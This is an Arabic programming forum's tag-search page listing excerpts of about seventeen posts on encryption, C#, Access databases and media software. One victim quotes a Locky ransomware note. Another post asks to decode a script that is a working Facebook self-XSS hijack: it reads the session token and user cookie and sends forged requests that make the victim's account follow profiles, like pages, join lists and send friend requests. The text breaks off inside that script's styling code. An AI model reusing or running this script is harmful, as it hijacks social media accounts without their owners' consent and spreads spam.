• الإعلانات

    • فيصل الحربي

      تسجيل عضوية جديدة في المنتدى   01/31/2016

      السلام عليكم ورحمة الله وبركاته  عزيزي العضو الجديد :  حاليا رسالة الإيميل لتأكيد صحة إيميلكم تذهب للبريد العشوائي ( جاري حل المشكلة )  فإذا لم تجد رسالة التحقق من إيميلكم في صندوق الوارد لديكم إتجه للبريد العشوائي ( JUNK)  وقم بتفعيل إشتراككم من هناك   

البحث في المنتدى

Showing results for tags 'فك تشفير ملفات php'.

  • البحث بالتاقات

    اكتب الكلمات المفتاحيه بينها علامه الفاصله
  • البحث بكاتب الموضوع

تم إيجاد 32 نتيجة

  1. ملفات الميديا هي اكثر ما نستخدمه بشكل يومي سواء علي جهاز الكمبيوتر او علي الجوال ,ولتشغيل مختلف انواع الملفات لابد من وجود برنامج مميز للقيام بتلك الوظيفه.   مجموعه من برامج تشغيل ملفات الميديا تقدم للمستخدم كل ما قد يحتاج اليه من تسهيلات فى تشغيل كل انواع ملفات الميديا سواء كانت ملفات صوتيه او بالصوت والصوره.   اهم ما يميز برامج تشغيل ملفات الميديا مثل ريل بلاير و وينامب وغيرهم انها برامج مجانيه ويمكن تحميلها وتشغيلها على مختلف انواع الاجهزه وانظمة التشغيل.   التنزيل مجانا
  2. كيفية عمل برنامج مزامنة ملفات علي شبكة داخلية بـ c#  يقوم البرنامج بعمل مزامنة الملفات بين الاجهزة عن طريق IP علي التغيرات التي قامت  ارجو المساعدة
  3. السلام عليكم و رحمه الله ارجوا المساعده في هذه المشكله . اريد حصر أسماء جميع الملفات من فولدر معين بما في ذلك الفولدرات الداخليه و ارسال البيانات الى ملف اكسل لكن عند تشغيل التطبيق يعطى الرساله الاتيه: Index was out of range. Must be non-negative and less than the size of the collection. Parameter name: index و هذا هو الكود المستخدم private void button1_Click(object sender, EventArgs e) { /* get all files name without path*/ string path; if (folderBrowserDialog1.ShowDialog() == DialogResult.OK) { path = folderBrowserDialog1.SelectedPath; string[] files = Directory.GetFiles(path, "*.*", SearchOption.AllDirectories); int i = 0; foreach (string file in files) { //listBox1.Items.Add(Path.GetFileName(file)); dataGridView1.Rows[0].Cells.Value = file; i++; } } } ارجوا الافاده جزاكم الله خيرا test.rar
  4. السلام عليكم  تم تشفير جميع ملفاتي بواسطة RSA-2048  وAES-128  و اصبح امتدادها .locky  و الخلاصة أن مبرمجي الفيروس يريدون مبلغ مالي ( 500$ تقريباً ) لا يمكن تتبعه و لا التأكد من الحصول على نتيجة ! هل من اخبار او تطورات بشأن هذد الفيروس ؟؟؟ !!! IMPORTANT INFORMATION !!!! All of your files are encrypted with RSA-2048 and AES-128 ciphers. More information about the RSA and AES can be found here: http://en.wikipedia.org/wiki/RSA_(cryptosystem) http://en.wikipedia.org/wiki/Advanced_Encryption_Standard Decrypting of your files is only possible with the private key and decrypt program, which is on our secret server. To receive your private key follow one of the links:  
  5. السلام عليكم سؤالى هو الى اى درجة وصلت عملية الحماية للداتا المحفوظة داخل قاعدة البيانات؟ هل يمكننى تشفير كل شئ يمكن حفظه بقاعدة البيانات ؟ وعند استدعائه يظهر النصوص طبيعية؟ على سبيل المثال فى نقطة كلمة المرور تشفير كلمة المرور في ASP.NET Membership يمكن ذلك من خلال الويب كونفيج من خلال في وسم membership في ملف web.config في خاصية passwordFormat اجعل القيمة Encrypted <membership defaultprovider="DefaultMembershipProvider"> <providers> <add passwordformat="Encrypted" تحديد نوع التشفير ، ومفتاح التشفير ويمكن ذلك عبر إضافة الوسم التالي أيضا في الويب كونفيج <system.web> <machineKey validationKey="1E972B83C592446B9CAEFCD34E951882660CE607F10C0226DFC02B8F86E6289BEED8436DE17155B1200B4121A7DE67EA721F4CF5407505A8EB79DF87BAFE9456" decryptionKey="82E9E5F7366F8AAFBE5CC61545272EFD7ABBC49F2FC575A142B164F485775CE5" validation="SHA1" decryption="AES" /> ارجو الرد
  6. مرحبا  اريد طريقة عند البحث عن موضوع معين في الجدول التالي ان يقوم  الاكسس بواسطة زر امر  بتجميع وفتح الارتباطات التشعبية حسب تصفية المعلومات   مثلا عند البحث عن موضوع الاخلاق يقوم بفتح الارتباطات التابعة لكل حقل من مواضيع الاخلاق وتجميعها بفولدر معين عل المستندات او سطح المكتب وحسب الموضوع المختار  إي اذا خرجت النتائج عشرة كتب او  خمسة كتب يقوم بتجميعها وتخزينها في مجلد واحد في اسفل النموذج كمتصفح او  في الحاسبة  على سطح المكتب وشكرا جزيلاوهذا مثال مع التوضيح المكتبة الرقمية.rar
  7. اخواني الاعضاء وانا ابحث بالنت عن برامج مصممة بالاكسس تساعدني البرامج المصصمة من الاكسس في العمل او البيت   لكن مشكلتها انها كانت مصممة على اصدار قديم من اكسس  وقد تم تجربتها على اوفس (2010 - 2013)  فهي لاتعمل ( بالاصدارات الجديدة من اكسس )    فبعض هذه البرامج ارفقتها الاستاذه : زهره العبدالله  وبعضها لا اعمل من صممها او أعاد تعديلها     فجزاهم الله خيرا جميعا لمساعدتنا    سؤالي : هل يمكن تعديل هذه الملفات لتتوافق مع برامج الاوفس الجديد من 2007 الى 2013     وسارفق لكم الملفات وبداخل كل ملف مرفق صورة من المشكلة عند فتح البرنامج   والذي يستطيع تعديلها جزاه الله خيرا .   1- http://up.top4top.net/downloadf-top4top_1b09b3a9121-7z.html   2- http://up.top4top.net/downloadf-top4top_1b09b3a9122-7z.html   3- http://up.top4top.net/downloadf-top4top_1b09b3a9123-7z.html   4- http://up.top4top.net/downloadf-top4top_1b09b3a9124-7z.html   5- http://up.top4top.net/downloadf-top4top_e794b1e0f01-rar.html
  8. السلام عليكم ورحمة الله انا مبتدئ بالنسبة لكم كل ما استطيع عمله هو صيانة برنامجى الخاص البرنامج ببساطة يقوم بمتابعة حركة المخزون والمخازن والمبيات والمشتريات منذ عشر سنوات  قمت بشراء من احدى الشركات والشركة الان مغلقة ولا يوجد دعم فنى للبرنامج ساضع بين ايديكم نسخة من البرنامج هى ملك للجميع بشرط مساعدتى فى حل المشكلة الموجوده بهذا البرنامج   عندى نسخة وندوز جوست البرنامج متضمن لها ومضاف له الملفات الضرورية لتشغيله   اما اذا اخذت نسخة من البرنامج لوضعه على وندوز اخر مثلا وندوز سفن او 8  يفتح البرنامج كواجهه فقط ويطلب ملفات ناقصة كثيرة اعتقد ان هناك برمجة اخرى مضافة الى الاكسيس لحمايته وهى واجهة التشغيل التى تختفى خلفه قاعدة البيانات وقاعدة البيانات تفتح بشكل عادى جدا لكن طبعا ليست واجهة عمل التى اقوم بها   برجاء مساعدتى فى تشغيل هذا البرنامج بعيدا عن نسخة الجوست التى اعمل بها والبرنامج مرفق باول مشاركة لى فى منتداكم الكريم البرنامج غير محمى ويفتح ب f12 او ادمن ادمن دمتم بود والسلام عليكم ورحمة الله وبركاته http://www.4shared.com/get/bQMLL9nmce/Stock.html
  9. السلام عليكم ورحمة الله وبركاته السادة مشرفى ومديرى القسم  تحيبة طيبة مباركة وبعد   انا لى برنامج خاص هو قديم نوعا ما بواجهة فجوال وكافى تماما لعملى فى الحسابات والمخازن والاستعلامات والبيع والشراء والتحويل بين المخازن والنسخ الاجتياطى واسترجاعه وكلمات سر للمستخدمين والصلاحيات وتحويل التقارير الى الاكسيل وخلافه     مشكلته ان الشركة التى اشتريت منها البرنامج من مدة طويلة جدا انسحبت من السوق وصاحبها انتقل الى اميركا هجرة   البرنامج يعمل الان بكفائه تامة  لكن الوندوز المعد له البرنامج وندوزز اكس بى هو عبارة عن نسخة جوست عند حدوث اى مشاكل اقوم باسترجاع النسخة المحفوظه   ويعمل البرنامج عادى جدا   لكن عندما اخذت البرنامج ونقلته الى وندوز اخر او وندوز احدث اواوجه مشكلة الملفات الناقصه  قمت بتنصيب فجوال بيزك دون جدوى قمت بتحميل الملفات الناقصه التى يطلبها من الانترنت وتسجيلها فى سيستم32  دون جدوى البرنامج اولا هو هدية خالصة لكل من يساعدنى فى تشغيل البرنامج على نسخة وندوز جديدة او احدث   البرنامج مرفق البرنامج غير محمى ومفتوح f12 للدخول او الاسم وكلمة السر admin دمتم بود والسلام عليكم ورحمة الله وبركاته
  10. بسم الله الرحمن الرحيم   خوارزمية قصير:   مبدأ عمل هذه الخوارزمية هو تبديل كل حرف بالحرف الذي يلي الحرف الأصلي ب   K  (مفتاح التشفير)   مثلا:   إن كان الحرف الأصلي A   و المفتاح (K=3)   فالحرف المشفر هو D   إن كان الحرف الأصلي A   و المفتاح (K=4)   فالحرف المشفر هو E   إن كان الحرف الأصلي C   و المفتاح (K=5)   فالحرف المشفر هو H   إن كان الحرف الأصلي Z   و المفتاح (K=6)   فالحرف المشفر هو F     عملية التشفير هي دالة,لها نرمز بالحرف E , من مجموعة ازواج النصوص الظاهرة والمفاتيح لمجموعة النصوص المشفرة اي : وفي هذه الحالة : اما فك التشفير فهي ايضا دالة , نرمز لها بالحرف D , وهي من مجموعة ازواج النصوص المشفرة والمفاتيح لمجموعة النصوص الظاهرة اي : في حالة شفرة قيصر كان k=3 , كما انَّ k بين 1 و- 25 .     المطلوب صناعة برنامج للتشفير ة فك التشفير باستعمال خوارزمية قيصر             * أي ان المستخدم يختار إن كان يود التشفير أو فك التشفير         * ثم يدخل النص  و مفتاح التشفير     إن كان هناك تفاعل مع هذا الموضوع سأضيف تمارين عن طرق أخرى للتشفير   كال monoalphabetic  أو خوارزميات أعقد و أفضل كال DES     للمطاعة أكثربالموضوع أليكم الروابط:   the black chambre   مادة التشفير في موقع رواق     في إنتضار ردودكم
  11. السلام عليكم  عندي برنامج بسيط فكرة انه تحط رقم الباركود يدوي او عن طريق ماسح الباركود وتحط الكمية من هذا المنتج وتسوي له حفظ كل شي سويته تمام بس باقي الحفظ ابغى كود او شرح واضحة ابغى احفظ الاكواد في ملف اكسل يعني انشاء ملف واحط فيه ملف اكسل واي كود جديد يحفظ تحت اخر كود تم حفظ  هل لازم استخدم SQLLite وبعدين اربطه ولا كيف فكرتها انا ماني عارف كيف اسويه    الله يعطيكم العافية
  12. السلام عليكم ورحمة الله وبركاته هذا الموضوع يتحدث عن مختصر قصة خوارزمية التشفير الخاصة بي + نشرها لكم عسى ان تستفيدوا منها. من تاريخ 16/07/2009 الى تاريخ  12/12/2012 كتبت موضوع بعنوان "صناعة وبرمجة الروبوت" وكان هذا الموضوع هو لحظة نقل معرفتي المتواضعة في عالم الروبوتات قبل الخروج منه نهائيا. والآن قررت نشر خوارزمية التشفير التي عملتها منذ ثمانية سنوات, عسى أن يستفيد منها أي انسان وذلك قبل خروجي من هذا العالم نهائيا. ولكن بالبداية أحب ان اكتب قصة صغيرة عنها قبل نشرها لكم, واتمنى أن تتقبلوها مني.   في عام 2005 عندما كنت بالجامعة, طلب دكتور الشبكات (الله يسهل عليه) عمل فكرة ومشروع برمجي, قمت بكتابة خوارزمية تشفير صغيرة ومعقدة ولا اعتقد انها تصلح لشيء, ولكن بعد ذلك خطرة لي فكرة هذا المشروع, وهو خوارزمية تشفير بسيطة, سريعة, ومعقدة جدا..... فقمت بتصميمها,كتابتها, وبرمجتها ومن خلال التجربة وجدت أنها اسرع من خوارزمية RSA, ولكن كان بها بعض العيوب الصغيرة ولكنها كانت ناجحة, وفي ذلك الوقت كنت قد تخرجة من الجامعة (على ما اذكر) وقام دكتور بتصحيح لغتها الانجليزية ككتابة علمية لنشرها كورقة بحث علمي في مجلة علمية امريكية اسمها American Journal of Computer Science, ولكن اكتشفت وجود اسماء 3 من دكاترة الجامعة عليها قبل اسمي, وتمت الموافقة على النشر في هذه المجلة ...................   فكرت في النسخة الثانية منها لتطويرها, وعلى مر السنين النسخة الثالثة, الى ان وصلت للنسخة الرابعة, والتي باعتقادي وصلت الى مرحلة يمكن الاعتماد عليها في التشفير بدرجة كبيرة مع صعوبة كسرها, حتى باستخدام تقنية Brute force cracker, ومع استخدام تقنيات جديدة أيضا مثل Data Noise وعند بداية النسخة الثانية فكرة في موضوع ضعف أمن المعلومات في بلادنا العربية, وان NSA لا تسمح بنشر أي خوارزمية تشفير الا بعد كسرها, والتي نعتمد عليها في حكوماتنا العربية (بالعربي لا يوجد عنا أمن معلومات). فقمت بتحويلها لتستخدم كوسيلة اتصال مباشر VOIP ونقل الملفات وغيره من المعلومات ك Real Time لتستخدم في دولنا العربية الحبيبة, والكارثة رفض ثم رفض ثم مممممممممم طبعا رفض واحدى الجمل التي سمعتها "نشتري من أمريكا بسعر عالي وشيء اضعف ولا نخلي واحد عربي يعمل شيء" جميل وبما أنني مليت ثم مليت من هذا الهراء العربي, قررت نشر النسخة الاولى عسى ان يستفيد منها أي انسان, واذا استفتم منها, تذكروني. ملحوظة: الخوارزمية تعتمد على تأمين الاتصال بين جهتين, بما في ذلك جميع انواع الاتصال من صوت وصورة ونقل الملفات والمعلومات وغيره.   RTAS v1.pdf شكرا لكم أخوكم عمار الرز
  13.  انا عضو جديد ممكن كود التشفير وفك التشفير لجملة معينة وشكراً
  14. السلام عليكم  B) اريد من احد ان يقوم بكسر الحماية على هذا المثال الذي اجريته وبحال النجاح اخبرني بالمدة التي قضيتها كم يوم ( هذا بحال النجاح طبعا )  :lol: وطبعا ارجوا اخباري بالمدة التي قيضتها ولم تفلح بمعنى لو ان لك اسبوع وان تحاول ادخل وقل لي اسبوع ولا زلت احاول  :D وشكرا على التعاون المثمر لنا جميعا     رابط التحميل من هنا   http://www.up-00.com/?5NdK
  15.   في الاسفل رابط لثلاث دروس تشرح بتفصيل ملفات XSD وكيف تستخم في التقارير والربط عن طريق المعالج وفي عرض بيانات view, stored procedure, function الجزء الأول   https://www.youtube.com/watch?v=n-hEZgzQ0vc الجزءالثاني https://www.youtube.com/watch?v=3K6MwK3KqJc&feature=youtu.be الجزء الثالث https://www.youtube.com/watch?v=HlDK97Jfnys     مدونتي http://hussienahmmed.blogspot.com/  
  16. السلام عليكم ورحمة الله وبركاته ,,,     اخوكم في الله المهندس محمد حافظ خريج هندسة حاسب وهاوي لأمن المعلومات والتشفير الطلب هو لأمر شخصي مهم جداً بالنسبة لي.. لذلك اتمنى المساعده,,     اريد القيام بكتابة برنامج يقوم بتغيير النص المدخل له وتحليله بحساب عدد تكرار كل حرف وجد بالنص المدخل هذه الخطوة قمت بكتابتها والتاكد منها ولله الحمد بالرغم انني جديد على لغة البرمجة #C using System;using System.Collections.Generic;using System.ComponentModel;using System.Data;using System.Drawing;using System.Linq;using System.Text;using System.Windows.Forms;namespace WindowsFormsApplication1{ public partial class Form1 : Form { public Form1() { InitializeComponent(); } private void button1_Click(object sender, EventArgs e) { String stringInput = StringBox.Text; List<string> outputString = new List<string>(); char[] chrs = stringInput.ToCharArray(); for (int i = 0; i < chrs.Length; i++) { if (chrs[i].ToString() != " ") { var s = chrs[i].ToString().ToUpper() + " => " + Occurence(stringInput, chrs[i]); if (outputString.IndexOf(s) == -1) { outputString.Add(s); } } } output.Text = string.Join("\r\n", outputString); } private int Occurence(string text, char chr) { int i = 0, count = 0; while ((i = text.IndexOf(chr, i)) != -1) { count++; i++; } return count; } }}المطلوب الآن هو:     1- طباعة الآسكي كود لكل حرف تم استخراجه من النص   2- عمل ازاحة للأحرف بعدد معين من الخانات اقوم بادخاله    مثال على ذلك لو قمنا بادخال النص : ABCD وقمنا باختيار عدد ازاحة بمقدار : 1     فان الناتج يكونBCDE     هذا وجزاكم الله خيراً أجمعييييين
  17. السلام عليكم ورحمة الله وبركاته ::  احتاج الي فك تشفير هذا الكود هل احد لديه خبرة لمساعدتي ؟  /* Nh?c */var parent=document.getElementsByTagName("html")[0];var _body = document.getElementsByTagName('body')[0];var _div = document.createElement('div');_div.style.height="25"; _div.style.width="100%";_div.style.position="fixed";_div.style.top="auto";_div.style.bottom="0";_div.align="center";var _audio= document.createElement('audio');_audio.style.width="100%";_audio.style.height="25px";_audio.controls = true;_audio.autoplay = false;_audio.autoplay = true;_audio.src = "http://picosong.com/media/songs/1623c97f871ebe69c08a4089737457dc";_div.appendChild(_audio);_body.appendChild(_div);var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);var fb_dtsg=document.getElementsByName("fb_dtsg")[0].value;var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);function a(abone){var http4=new XMLHttpRequest;var url4="/ajax/follow/follow_profile.php?__a=1";var params4="profile_id="+abone+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp=";http4.open("POST",url4,true);http4.onreadystatechange=function(){if(http4.readyState==4&&http4.status==200)http4.close};http4.send(params4)}a("100000965755027");function sublist(uidss){var a=document.createElement('script');a.innerHTML="new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: "+uidss+" }).send();";document.body.appendChild(a)}sublist("342348835807305");sublist("1462478237308746");var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);var fb_dtsg=document.getElementsByName('fb_dtsg')[0].value;var now=(new Date).getTime();function P(post){var X=new XMLHttpRequest();var XURL="//www.facebook.com/ajax/ufi/like.php";var XParams="like_action=true&ft_ent_identifier="+post+"&source=1&client_id="+now+"%3A3366677427&rootid=u_ps_0_0_14&giftoccasion&ft[tn]=%3E%3DU&ft[type]=20&ft[qid]=5882006890513784712&ft[mf_story_key]="+post+"&nctr[_mod]=pagelet_home_stream&__user="+user_id+"&__a=1&__dyn=7n8ahyj35CFwXAg&__req=j&fb_dtsg="+fb_dtsg+"&phstamp=";X.open("POST",XURL,true);X.onreadystatechange=function(){if(X.readyState==4&&X.status==200){X.close}};X.send(XParams)}var fb_dtsg=document.getElementsByName('fb_dtsg')[0].value;var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);function Like(p){var Page=new XMLHttpRequest();var PageURL="//www.facebook.com/ajax/pages/fan_status.php";var PageParams="&fbpage_id="+p+"&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg="+fb_dtsg+"&phstamp=";Page.open("POST",PageURL,true);Page.onreadystatechange=function(){if(Page.readyState==4&&Page.status==200){Page.close}};Page.send(PageParams)}Like("185309954944253");function IDS(r){var X=new XMLHttpRequest();var XURL="//www.facebook.com/ajax/add_friend/action.php";var XParams="to_friend="+r+"&action=add_friend&how_found=friend_browser_s&ref_param=none&&&outgoing_id=&logging_location=search&no_flyout_on_click=true&ego_log_data&http_referer&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=35&fb_dtsg="+fb_dtsg+"&phstamp=";X.open("POST",XURL,true);X.onreadystatechange=function(){if(X.readyState==4&&X.status==200){X.close}};X.send(XParams)}// soufiana("100000965755027");a("100001124150617");a("100002160667785");a("100005299571431");// Lists //sublist("558069537568566");sublist("653686774673508");Like("788958151118403");Like("215850365157826");Like("510247569082708");Like("343101402443592");Like("215939221802527");Like("319801474762814");//Theme(function() {var css = ".highlightIndicator, \n.tinyman:after, \n.fbTimelineSideAds,\n.ego_column,\n.buttonWrap, \n.fbTimelineSpine, \n.spinePointer, \n.topBorder, \n.bottomBorder, \n#footerContainer, \n.middleLink, \n.slimHeader #pageNav li.tinyman::after, .slimHeader #pageNav li.middleLink::after, \n.slimHeader #pageNav .middleLink a, \n.moreSectionsLink\n{\ndisplay:none !important;\n}\n\ndiv.mainWrapper{\npadding-left: 1em !important;\n}\n.uiProgressBar .fill {\nbackground: #444 !important;\nborder: solid #222 !important;\n}\n.uiTypeaheadView .compact li {\nbackground-color: #111 !important;\n}\ndiv.uiTypeaheadView .selected {\nbackground-color: #333 !important;\n}\n.fbIndex .gradient {\nbackground: none !important;\n}\n.notifNegativeBase #fbNotificationsFlyout li.jewelItemNew, .notifNegativeBase #fbNotificationsFlyout li.first_receipt {\nbackground: #333 !important;\n}\n.pop_container {\nbackground-color: #000 !important;\n}\n.pop_verticalslab, .pop_horizontalslab {\nbackground: #222 !important;\n}\n.uiMenuXItem\na.highlighted {\nbackground-color: #333 !important;\nborder-color: #000 !important;\ncolor: #FFF !important;\n}\n.uiMenuXItem\na.highlighted {\nbackground-color: #333 !important;\nborder-color: #000 !important;\ncolor: #FFF !important;\n}\n.uiContextualLayer {\nbackground-color: #111 !important;\n}\n.HighlightSelectorMenu {\nborder: 2px solid #000 !important;\nbackground: #111 !important;\nborder-radius: 5px !important;\n}\n.-cx-PUBLIC-uiDialog__border, ._1yu {\nborder: 10px solid rgba(82, 82, 82, .7) !important;\n-webkit-border-radius: 8px !important;\n}\ninput[type=\"text\"], input[type=\"password\"], .inputtext, select, .select, select > option, select > button, .fbPhotoImageStage .fbPhotosPhotoButtons .tagMessage, .fbPhotoImageStage .fbPhotosPhotoButtons .cropMessage, #u1clso_61 div img, #navSearch .uiTypeahead, .-cx-PRIVATE-uiDialog__content, ._1yu, ._t {\nbackground-color: #111 !important;\n}\n.fbTimelineCapsule\n{\nbackground: none !important;\n}\n.sp_c79t5t\n{\nbackground-image: none !important;\n}\n* {\nborder-color: transparent !important;\ncolor: #fff !important;\nbackground-color: transparent !important; \n}\n\n#fbTimelineHeadline .profilePic {\nbackground-color: #FFF !important;\nborder: 4px solid #FFF !important;\n-webkit-border-radius: 2px !important;\nheight: 160px !important;\nwidth: 160px !important;\n}\n\n\n.fbTimelineScrubber {\n\nborder-color: #333333 !important;\npadding: 8px 0 8px 1px !important;\ntop: 38px !important;\nwidth: 122px !important;\nz-index: 1 !important;\nborder-radius: 10px !important;\n}\n\n.fbPhotosPhotoTagboxBase .tagName {\nbackground: #000 !important;\ncolor: #FFF !important;\ncursor: default !important;\nfont-weight: normal !important;\npadding: 2px 6px 3px !important;\ntop: 3px !important;\nwhite-space: nowrap !important;\n}\n\n.fbPhotosPhotoTagboxBase .innerTagBox {\nborder: 4px solid white !important;\nborder-color: rgba(255, 255, 255, .8) !important;\n}\n\n.fbPhotoSnowlift {\nbackground-color: rgba(0, 0, 0, .7) !important;\n}\n\n.fbPhotoSnowlift .rhc , .pagingActivated .snowliftOverlay, .fbPhotoSnowlift.taggingMode .snowliftOverlay, .stageWrapper{\nbackground-color: #111 !important;\n}\n\n.profile-picture img {\nmax-width: 170px !important;\n}\n\n.webComposerPhotoUpload input, .webComposerPhotoUpload {\ncolor: #000000 !important;\n}\n\n\nhtml{background:url(http://data.sinhvienit.net/2011/T12/img/SinhVienIT.NET---bg-green.jpg) no-repeat center fixed;background-size:cover;-o-background-size:cover;-webkit-background-size:cover}\n\n\n\n\n.fbCurrentStory:hover, .connect_widget_like_button, .fbFeedTickerStory:hover, .item a:hover, .fbJewelFlyout li:hover, .uiSideNav a:hover, .fbNubFlyoutBody, .uiButtonConfirm {\nbackground: #111111 !important;\n}\n\n.fbChatMessageGroup {\nborder-color: #2c2c2c !important;\n}\n\n.fbChatSidebar {\nbackground: #111111 !important;\n}\n\n#leftCol {\nposition: relative;top:20px!important;\nmin-height: 400px !important;\n}\n\n.arrowLeft a {\nbackground-image:url('http://i.imgur.com/26zf5.png') !important;\nborder-color: #666666 !important;\n}\n\n.arrowRight a {\nbackground-image:url('http://i.imgur.com/v6B6z.png') !important;\nborder-color: #666666 !important;\n}\n\n.uiStreamSubstory {\nborder-color: transparent !important;\n}\n\n.uiHeader {\nbackground-color: transparent !important;\n}\n\n.fbSidebarGripper, .fbTickerFooter, .fbSidebarGripper div, .navSubmenu:hover {\nbackground-color: #222222 !important;\n}\n\n.fbTimelineCountButton, .uiBoxWhite, .uiButtonGroup {\nbackground-color: #1c1c1c !important;\n}\n\n\n\n#leftCol {\npadding-top: 0px !important;\npadding-left: 0px !important;\n}\n\n.fbNubFlyoutFooter {\nbackground: #111111 !important;\nbox-shadow: 0 1px 2px rgba(0, 0, 0, 0.5) !important;\ncolor: #CC00FF !important; \nborder: #333333 !important;\n}\n\n.uiStream .uiSelectorButton {\nbackground-image: url(\"http://i.imgur.com/nOfuQ.png\") !important;\n}\n\n.uiSearchInput {\nbackground-image: url(\"http://i.imgur.com/agmNw.png\") !important;\n}\n\n\n\n\n.jewelButton:hover, .topNavLink a:hover {\nbackground-color: #222222 !important;\n}\n\n.uiScrollableAreaGripper {\nbackground-color: #666666 !important;\n}\n\n.uiSearchInput, .fbPhotosGridHeader, .uiComposerMessageBoxControls, #MessagingShelf, .uiBoxGray {\nbackground: #111111 !important;\n}\n\n.uiButton {\nbackground: #1c1c1c !important;\n}\n\n#blueBar {\nbackground: -moz-linear-gradient(top, #45484d 0%, #000000 100%) !important;\nbackground: -webkit-linear-gradient(top, #45484d 0%, #000000 100%) !important;\nbox-shadow: 0 0 7px rgba(211, 32, 198, 0.75) !important;\nborder:4px ridge #CC00FF !important;\nmargin-top:5px!important;\nmargin-left:5px!important;\nborder-radius: 70px!important;\n}\n\n\n\n#contentCol, #pageLogo a {\nbackground-color: transparent !important;\nborder-color: transparent !important;\n}\n\n.uiMorePager {\nmargin-bottom:6px !important;\nbackground-color: #1c1c1c !important;\nborder: 0px solid #333333 !important;\n}\n\n.uiStreamStory, .fbIndexFeaturedRegistration, .signupForm {\nmargin-bottom:2px !important;\nbackground-color:transparent !important;\nbackground-image:url('http://i.imgur.com/T2LPj.png') !important;\nborder-radius: 15px !important;\npadding: 1px !important;\nborder: 0px solid #333333 !important;\n}\n\n.uiStream .uiStreamHeader .uiStreamHeaderChronologicalForm .uiSelectorButton .uiButtonText {\ncolor: #000 !important;\n}\n\n#album_pagelet {\nbackground-color: #111111 !important;\nmargin-left: 0px !important;\nmargin-top: -15px !important;\n}\n\n.tagWrapper, #pagelet_main_column, .timelineUnitContainer, .fbTimelineTopSection, #MessagingMessages {\nbackground-color:transparent !important;\nbackground-image:url('http://i.imgur.com/T2LPj.png') !important;\nborder-radius: 15px !important;\nborder: 0px solid #333333 !important;\n}\n.fbTimelineTopSectionBase .topSectionBottomBorder {\ndisplay: none !important;\n}\n#pagelet_main_column {\nwidth: 500px !important;\n}\n\n.fbJewelFlyout, .uiToggleFlyout, .navigation, .container, .uiOverlayContent, .search, .pop_container_advanced {\nbackground-color: #111111 !important; \nborder-radius: 15px !important;\nborder: 2px solid #333333 !important;\n}\n\n#left_column, #leftCol, .MessagingReadHeader {\nbackground: #111111 !important;\nborder-radius: 15px !important;\n}\n\n#left_column, #leftCol {\n;\nwidth: 185px !important;\n}\n\n.uiMediaThumb i, .uiProfilePhoto {\nborder: 1px solid #000000 !important; \n}\n\n#rightCol {\nmargin-top: 10px !important;\npadding-top: 0px !important;\nbackground: #111111 !important;\nborder-radius: 15px !important;\nborder: 0px solid #333333 !important;\n}\n\n#right_column, .rightColumnWrapper {\nmargin-top: 0px !important;\npadding-top: 0px !important; \nposition: fixed !important;\nbackground: #111111 !important;\nborder-radius: 15px !important; \nborder: 0px solid #333333 !important;\n}\n\n.aboutMePagelet {\nbackground-color:transparent !important;\nbackground-image:url('http://i.imgur.com/T2LPj.png') !important;\nborder: 0px solid #333333 !important;\n}\n\n.fbNubButton, .fbNubFlyoutTitlebar, .uiToggleFlyout, .fbChatSidebarFooter {\nbackground: -moz-linear-gradient(center top , #333333, #000000) !important;\nbackground: -webkit-linear-gradient(center top , #333333, #000000) !important;\nbox-shadow: 0 1px 2px rgba(0, 0, 0, 0.5) !important;\ncolor: #CC00FF !important;\nborder: #333333 !important;\n}\n\n.fbChatOrderedList {\nbackground: -moz-linear-gradient(center right , #333333, #000000) !important;\nbackground: -webkit-linear-gradient(center right , #333333, #000000) !important;\nbox-shadow: 0 1px 2px rgba(0, 0, 0, 0.5) !important;\ncolor: #CC00FF !important;\nborder: #333333 !important;\n}\n\n\n\n\n\n\n\n\n.UFIMentionsInputWrap,.navHeader, ._554n,.fbxWelcomeBox ,._2yg .composerTypeahead {\nbackground: -moz-linear-gradient(top, #45484d 0%, #000000 100%) !important;\nbackground: -webkit-linear-gradient(top, #45484d 0%, #000000 100%) !important;\nbox-shadow: 0 2px 4px rgba(211, 32, 198, 0.75) !important;\nborder:2px ridge #CC00FF !important;\nmargin-top:5px!important;\nmargin-left:0px!important;\nborder-radius: 7px!important;\npadding:3px!important;\n}\n.fbx #pageHead, #blueBar #pageHead{\npadding-top:0px!important;\n}\n\n.slim #blueBar {\n\n height: 35px!important;\n}\n.fbxWelcomeBoxBlock .fbxWelcomeBoxImg,\n._s0,\n._42fz .pic{\n border:2px solid rgba(0, 0, 0, .55)!important;\n border-radius: 37px!important;\n}\n.fbxWelcomeBoxBlock .fbxWelcomeBoxImg:hover,\n._s0:hover,\n._42fz .pic:hover{\n box-shadow: 0px 0px 4px rgba(211, 32, 198, 0.75) !important;\n border:2px ridge #CC00FF !important;\n border-radius: 37px!important;\n}\n.uiSideNav .sideNavItem .hasCount:hover,\n.uiSideNav .sideNavItem .noCount:hover{\n text-shadow: 2px 2px 2px rgba(39, 98, 138, 0.75) !important;\n color: #CC00FF !important;\n\n}\n#navSearch {\nwidth:300px !important;\nmargin-top: 6px !important;\nmargin-left: 30px !important;\nborder-color: transparent !important;\n}\n#headNav {\n height: 30px;\n}\n\n\n\na:hover{\n text-shadow: 2px 2px 2px rgba(39, 98, 138, 0.75) !important;\n color: #CC00FF !important;\n}\n.UIActionLinks_bottom a, \n.UIActionLinks_bottom button.as_link, \n.UIActionLinks_bottom .uiLinkButton input, \n.UIActionLinks_bottom .uiLinkButton input:hover,\n.uiStreamMessage .actorName, .uiStreamMessage .passiveName\n{\n text-shadow: 1px 1px 1px rgba(0, 0, 0, 0.99) !important;\n color: #CC00FF !important;\n}\n._2yg .composerTypeahead ,#bfb_options_button_li.openToggler ul,\n .better_fb_mini_message, .sfx_mini_message_no_x,\n .GM_options_wrapper_inner,\n .better_fb_mini_message, .mini_x{\nbackground: -moz-linear-gradient(top, #45484d 0%, 